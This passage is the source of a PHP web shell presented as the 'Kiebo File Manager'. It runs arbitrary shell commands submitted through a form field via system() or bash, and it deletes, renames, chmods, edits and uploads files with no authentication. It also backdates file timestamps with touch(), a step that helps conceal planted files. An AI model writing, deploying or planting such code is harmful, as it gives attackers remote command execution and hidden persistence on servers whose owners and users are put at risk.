'r', 0x0080=>'w', 0x0040=>'x', 0x0020=>'r', 0x0010=>'w', 0x0008=>'x', 0x0004=>'r', 0x0002=>'w', 0x0001=>'x']; foreach($x as $b=>$c){ $s .= ($m & $b) ? $c : '-'; } return $s; } function _go(){ header('Location:?_r='.urlencode(_B_)); exit; } if(isset($_GET['_x'])){ $t = _g($_GET['_x']); if(is_file($t)) unlink($t); elseif(is_dir($t)) rmdir($t); _go(); } if(isset($_POST['_rf'], $_POST['_rt'])){ rename(_g($_POST['_rf']), dirname($_POST['_rf']).'/'.$_POST['_rt']); _go(); } if(isset($_POST['_cp'], $_POST['_cm'])){ chmod(_g($_POST['_cp']), intval($_POST['_cm'], 8)); _go(); } if(isset($_POST['_ep'], $_POST['_ed'])){ file_put_contents($_POST['_ep'], $_POST['_ed']); echo "
✔ File saved
"; } if(!empty($_FILES['_uf'])){ move_uploaded_file($_FILES['_uf']['tmp_name'], _B_.'/'.$_FILES['_uf']['name']); echo "
✔ Uploaded
"; } if(isset($_POST['_mkdir']) && $_POST['_mkdir']){ $folder = basename(trim($_POST['_mkdir'])); @mkdir(_B_ . '/' . $folder); _go(); } if(isset($_POST['_mkfile']) && $_POST['_mkfile']){ $file = basename(trim($_POST['_mkfile'])); $path = _B_ . '/' . $file; if (!file_exists($path)) file_put_contents($path, ''); _go(); } if(isset($_POST['_tp'], $_POST['_tm'])){ @touch(_g($_POST['_tp']), strtotime($_POST['_tm'])); _go(); } $__ = ''; if (isset($_POST['_sh'])) { $cmd = $_POST['_sh']; ob_start(); if (stristr(PHP_OS, 'WIN')) { system($cmd); } else { putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'); $pipes = []; $process = proc_open("/bin/bash", [["pipe", "r"], ["pipe", "w"], ["pipe", "w"]], $pipes); if (is_resource($process)) { fwrite($pipes[0], $cmd . "\n"); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { echo "❌ Failed to open bash shell."; } } $__ = ob_get_clean(); } $__dir = $__file = []; foreach(scandir(_B_) as $_){ if($_=='.') continue; $p = _B_.'/'.$_; is_dir($p) ? $__dir[] = $_ : $__file[] = $_; } ?> Kiebo File Manager

⚡ Kiebo File Manager v1.0 / 2025

NameTypeSizePermModifiedActions
📁 DIR-
❌ Delete
📄 FILE B
❌ Delete

Edit: